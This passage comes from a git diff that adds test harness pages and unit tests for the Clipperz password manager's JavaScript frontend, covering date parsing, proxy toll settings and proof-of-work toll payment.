<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/OneTimePassword.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script>
|
||||
Clipperz.PM.Strings.Languages.setSelectedLanguage('en-us');
|
||||
</script>
|
||||
<script type="text/javascript" src="DirectLoginConfigurations.data.js"></script>
|
||||
<script type="text/javascript" src="User.data.js"></script>
|
||||
<script type="text/javascript" src="Record.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
1285
frontend/gamma/tests/tests/Clipperz/PM/DataModel/Record.test.js
Normal file
1941
frontend/gamma/tests/tests/Clipperz/PM/DataModel/User.data.js
Normal file
106
frontend/gamma/tests/tests/Clipperz/PM/DataModel/User.html
Normal file
@@ -0,0 +1,106 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.DataModel.User - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Signal.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Offline.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Test.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Offline.DataStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/UI/Common/Controllers/DirectLoginRunner.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings/Strings_en-US.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/EncryptedRemoteObject.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.Version.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.Version.Field.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLogin.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginInput.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginBinding.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginFormValue.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.Legacy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.RecordIndex.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.Preferences.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.OneTimePasswords.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/OneTimePassword.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
<script>
|
||||
Clipperz_IEisBroken = false;
|
||||
</script>
|
||||
|
||||
<!--[if IE]><script>
|
||||
Clipperz_IEisBroken = true;
|
||||
Clipperz_normalizedNewLine = '\x0d\x0a';
|
||||
</script><![endif]-->
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script>
|
||||
Clipperz.PM.Strings.Languages.setSelectedLanguage('en-us');
|
||||
</script>
|
||||
<script type="text/javascript" src="User.data.js"></script>
|
||||
<script type="text/javascript" src="User.data.old.js"></script>
|
||||
<script type="text/javascript" src="User.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
2082
frontend/gamma/tests/tests/Clipperz/PM/DataModel/User.test.js
Normal file
47
frontend/gamma/tests/tests/Clipperz/PM/DataModel/index.html
Normal file
@@ -0,0 +1,47 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.DataModel.* - tests</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
'EncryptedRemoteObject.html',
|
||||
'Record.html',
|
||||
'DirectLogin.html',
|
||||
'User.html',
|
||||
'OneTimePassword.html'
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
59
frontend/gamma/tests/tests/Clipperz/PM/Date.html
Normal file
@@ -0,0 +1,59 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.Date - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<!-- script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script -->
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Date.js'></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="Date.test.js"></script>
|
||||
</pre>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
90
frontend/gamma/tests/tests/Clipperz/PM/Date.test.js
Normal file
@@ -0,0 +1,90 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'offlineDataParsing_test': function () {
|
||||
var value;
|
||||
var parsedValue;
|
||||
var expectedValue;
|
||||
|
||||
value = 'Tue Mar 27 06:41:37 PDT 2007';
|
||||
parsedValue = Clipperz.PM.Date.parse(value);
|
||||
expectedValue = new Date();
|
||||
expectedValue.setUTCFullYear(2007, 03 - 1, 27);
|
||||
expectedValue.setUTCHours(13, 41, 37);
|
||||
// SimpleTest.is(parsedValue.toString(), 'Tue Mar 27 2007 15:41:37 GMT+0200 (CEST)', "the data in the format stored in the offline copy is processed correctly [1]");
|
||||
SimpleTest.is(parsedValue.toString(), expectedValue.toString(), "the data in the format stored in the offline copy is processed correctly [1]");
|
||||
|
||||
value = 'Thu May 10 15:01:21 PDT 2007';
|
||||
parsedValue = Clipperz.PM.Date.parse(value);
|
||||
expectedValue = new Date();
|
||||
expectedValue.setUTCFullYear(2007, 05 - 1, 10);
|
||||
expectedValue.setUTCHours(22, 01, 21);
|
||||
// SimpleTest.is(parsedValue.toString(), 'Fri May 11 2007 00:01:21 GMT+0200 (CEST)', "the data in the format stored in the offline copy is processed correctly [3]");
|
||||
SimpleTest.is(parsedValue.toString(), expectedValue.toString(), "the data in the format stored in the offline copy is processed correctly [3]");
|
||||
|
||||
value = 'Thu May 10 15:01:21 PST 2007';
|
||||
parsedValue = Clipperz.PM.Date.parse(value);
|
||||
expectedValue = new Date();
|
||||
expectedValue.setUTCFullYear(2007, 05 - 1, 10);
|
||||
expectedValue.setUTCHours(23, 01, 21);
|
||||
// SimpleTest.is(parsedValue.toString(), 'Fri May 11 2007 01:01:21 GMT+0200 (CEST)', "the data in the format stored in the offline copy is processed correctly [3]");
|
||||
SimpleTest.is(parsedValue.toString(), expectedValue.toString(), "the data in the format stored in the offline copy is processed correctly [3]");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'onlineDataParsing_test': function () {
|
||||
var value;
|
||||
var parsedValue;
|
||||
var expectedValue;
|
||||
|
||||
value = 'Tue, 27 March 2007 06:41:37 PDT';
|
||||
parsedValue = Clipperz.PM.Date.parse(value);
|
||||
expectedValue = new Date();
|
||||
expectedValue.setUTCFullYear(2007, 03 - 1, 27);
|
||||
expectedValue.setUTCHours(13, 41, 37);
|
||||
|
||||
// SimpleTest.is(parsedValue.toString(), 'Tue Mar 27 2007 15:41:37 GMT+0200 (CEST)', "the data in the format returned by the server is processed correctly");
|
||||
SimpleTest.is(parsedValue.toString(), expectedValue.toString(), "the data in the format returned by the server is processed correctly");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
//#############################################################################
|
||||
|
||||
Clipperz.PM.Strings.Languages.initSetup();
|
||||
SimpleTest.runDeferredTests("Clipperz.PM.Date", tests, {trace:false});
|
||||
|
||||
|
||||
|
||||
65
frontend/gamma/tests/tests/Clipperz/PM/Proxy.html
Normal file
@@ -0,0 +1,65 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.Proxy - TEST</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="Proxy.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
117
frontend/gamma/tests/tests/Clipperz/PM/Proxy.test.js
Normal file
@@ -0,0 +1,117 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simple_tests': function() {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("simple_tests", {trace:false});
|
||||
deferredResult.addCallback(function() {
|
||||
var proxy;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy();
|
||||
ok(proxy != null, "can create instances of the Proxy class");
|
||||
is(proxy.shouldPayTolls(), false, "proxy is set to NOT pay tolls by default");
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simpleTestsWithTolls_tests': function() {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("simple_tests", {trace:false});
|
||||
deferredResult.addCallback(function() {
|
||||
var proxy;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy({shouldPayTolls:true});
|
||||
is(proxy.shouldPayTolls(), true, "I can set Proxy to pays tolls");
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
//#############################################################################
|
||||
|
||||
runTests = function(aClassName) {
|
||||
try {
|
||||
var deferredTests;
|
||||
var aTestName;
|
||||
|
||||
deferredTests = new Clipperz.Async.Deferred(aClassName + ".test", {trace:false});
|
||||
|
||||
aTestName = window.location.href.match(/#.*/);
|
||||
if (aTestName && (aTestName != '#')) {
|
||||
aTestName = aTestName[0].slice(1);
|
||||
if (aTestName in tests) {
|
||||
//Clipperz.log("single test execution, via fragment identifier", aTestName);
|
||||
deferredTests.addCallback(tests[aTestName]);
|
||||
deferredTests.addErrback(SimpleTest.ok, false, aTestName);
|
||||
} else {
|
||||
deferredTests.addBoth(is, aTestName, null, "Wrong test name selected to run");
|
||||
}
|
||||
} else {
|
||||
for (aTestName in tests) {
|
||||
deferredTests.addCallback(tests[aTestName]);
|
||||
deferredTests.addErrback(SimpleTest.ok, false, aTestName);
|
||||
}
|
||||
deferredTests.addBoth(is, true, true, "FINISH: completed the full stack of tests");
|
||||
}
|
||||
deferredTests.addBoth(SimpleTest.finish);
|
||||
deferredTests.callback();
|
||||
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
} catch (err) {
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
}("Clipperz.PM.Proxy");
|
||||
62
frontend/gamma/tests/tests/Clipperz/PM/Toll.html
Normal file
@@ -0,0 +1,62 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.Toll - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="Toll.test.js"></script>
|
||||
</pre>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
202
frontend/gamma/tests/tests/Clipperz/PM/Toll.test.js
Normal file
@@ -0,0 +1,202 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
/*
|
||||
'simple_test': function() {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("simple_tests", {trace:false});
|
||||
deferredResult.addCallback(function() {
|
||||
var tollTargetValue;
|
||||
var toll;
|
||||
var price;
|
||||
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32);
|
||||
tollTargetValue = Clipperz.Crypto.SHA.sha256(tollTargetValue);
|
||||
|
||||
price = 1;
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32);
|
||||
toll = new Clipperz.PM.Toll({targetValue:tollTargetValue.toHexString(), cost:price});
|
||||
toll.pay();
|
||||
|
||||
price = 5;
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32);
|
||||
toll = new Clipperz.PM.Toll({targetValue:tollTargetValue.toHexString(), cost:price});
|
||||
toll.pay();
|
||||
|
||||
price = 6;
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32);
|
||||
toll = new Clipperz.PM.Toll({targetValue:tollTargetValue.toHexString(), cost:price});
|
||||
toll.pay();
|
||||
|
||||
price = 7;
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32);
|
||||
toll = new Clipperz.PM.Toll({targetValue:tollTargetValue.toHexString(), cost:price});
|
||||
toll.pay();
|
||||
|
||||
price = 7;
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32);
|
||||
toll = new Clipperz.PM.Toll({targetValue:tollTargetValue.toHexString(), cost:price});
|
||||
toll.pay();
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
*/
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredPay_test': function() {
|
||||
var deferredResult;
|
||||
var tollTargetValue;
|
||||
var toll_1, toll_5, toll_6, toll_7, toll_10, toll_16;
|
||||
|
||||
// tollTargetValue = Clipperz.Crypto.SHA.sha256(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32));
|
||||
|
||||
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("deferredPay_tests", {trace:false});
|
||||
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32).toHexString().substring(2);
|
||||
toll_1 = new Clipperz.PM.Toll({targetValue:tollTargetValue, cost:1});
|
||||
|
||||
deferredResult.addMethod(toll_1, 'deferredPay');
|
||||
